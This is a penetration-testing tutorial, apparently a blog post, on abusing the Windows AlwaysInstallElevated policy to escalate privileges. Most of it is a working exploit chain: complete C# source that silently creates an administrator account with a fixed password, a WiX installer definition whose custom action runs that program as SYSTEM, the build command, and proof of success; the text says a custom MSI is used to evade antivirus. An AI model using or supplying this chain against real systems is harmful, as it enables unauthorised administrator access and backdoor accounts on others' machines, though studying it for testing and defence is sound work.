AlwaysInstallElevated is a Windows Installer policy setting that tells Windows to allow Microsoft Software Installer (MSI) packages to install with elevated privileges, even when the user launching the MSI isn’t an administrator.
It is controlled by two registry policy values, one under the computer configuration and one under the user configuration:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer
AlwaysInstallElevated REG_DWORD 0x1
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
AlwaysInstallElevated REG_DWORD 0x1
This setting can be exploited to escalate privileges on a target host. Whilst it’s possible to use Metasploit to exploit this condition, we will be looking at creating a custom MSI installer, as this is more likely to evade detection of anti virus software.
First, create a .NET C# application that allows us to add new administrator accounts to the system.
using System;
using System.Diagnostics;
using System.IO;
class Program
{
static void Main()
{
string logFile = @"C:\Users\Public\output.txt";
Log(logFile, "Application started: " + DateTime.Now);
RunCommand(
"net",
"user bordergate Password1 /add",
logFile
);
string account = Environment.MachineName + "\\bordergate";
RunCommand(
"net",
"localgroup administrators " + account + " /add",
logFile
);
Log(logFile, "Application finished: " + DateTime.Now);
}
static void RunCommand(string fileName, string arguments, string logFile)
{
try
{
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = fileName;
psi.Arguments = arguments;
psi.UseShellExecute = false;
psi.RedirectStandardOutput = true;
psi.RedirectStandardError = true;
psi.CreateNoWindow = true;
using (Process process = new Process())
{
process.StartInfo = psi;
Log(logFile, "Executing: " + fileName + " " + arguments);
process.Start();
string output = process.StandardOutput.ReadToEnd();
string error = process.StandardError.ReadToEnd();
process.WaitForExit();
Log(logFile, "Exit code: " + process.ExitCode);
if (!string.IsNullOrEmpty(output))
{
Log(logFile, "Output:");
Log(logFile, output);
}
if (!string.IsNullOrEmpty(error))
{
Log(logFile, "Error:");
Log(logFile, error);
}
}
}
catch (Exception ex)
{
Log(logFile, "Exception:");
Log(logFile, ex.ToString());
}
}
static void Log(string filePath, string message)
{
try
{
File.AppendAllText(
filePath,
DateTime.Now + " - " + message + Environment.NewLine
);
}
catch
{
// Avoid crashing if logging fails
}
}
}
Next, we need to create an MSI installer that takes advantage of the Custom Actions event. These events can be triggered when the installer launches, allow us to execute our code as NT AUTHORITY\SYSTEM.
There are a couple of ways of doing this. You can install the Visual Studio Installer Projects extension to allow you to create a custom installer, but I found this didn’t work very well.
The approach we will be taking is to use wixl. This is a command-line tool from the Wixl project that can build MSI packages from XML descriptions. It can be installed on Kali Linux using it’s APT package:
sudo apt install wixl
Create the installer definition file and make sure our adduser.exe executable is in the same directory. The important part of this configuration is the custom action definition. This ensures our adduser.exe is executed when the installer is running.
<?xml version='1.0'?>
<Wix xmlns='http://schemas.microsoft.com/wix/2006/wi'>
<Product Id='*' UpgradeCode="11111111-2222-3333-4444-555555555555"
Name='AddUser' Language='1033' Version='1.0.0.0'
Manufacturer='BorderGate'>
<Package Description='pak' InstallerVersion='200' Compressed='yes' />
<Media Id='1' Cabinet='setup.cab' EmbedCab='yes' />
<Directory Id='TARGETDIR' Name='SourceDir'>
<Directory Id="TempFolder">
<Directory Id="INSTALLLOCATION" Name="~_tmpdir">
<Component Id='MyComponent' DiskId='1' Guid=''>
<File Id="File0" Name="adduser.exe" Source="adduser.exe" />
</Component>
</Directory>
</Directory>
</Directory>
<Feature Id='InstallFeature' Title='Install Feature' Level='1'>
<ComponentRef Id='MyComponent' />
</Feature>
<!-- Run Action -->
<CustomAction Id="RunWrapExe" Return="asyncNoWait" Execute="deferred"
FileKey="File0" ExeCommand="adduser.exe"
HideTarget="no" Impersonate="no" />
<InstallExecuteSequence>
<Custom Action="RunWrapExe"
After="InstallFiles">NOT REMOVE~="ALL"</Custom>
</InstallExecuteSequence>
</Product>
</Wix>
Compile the installer definition to an MSI file with the following command.
wixl installer.wxs -o installer.msi
After executing the MSI installer on a system with AlwaysInstallElevated enabled, you should see the user has been added to the local administrator group.
net user
User accounts for \\DEVELOPMENT
-------------------------------------------------------------------------------
Administrator bordergate DefaultAccount
Guest user WDAGUtilityAccount
The command completed successfully.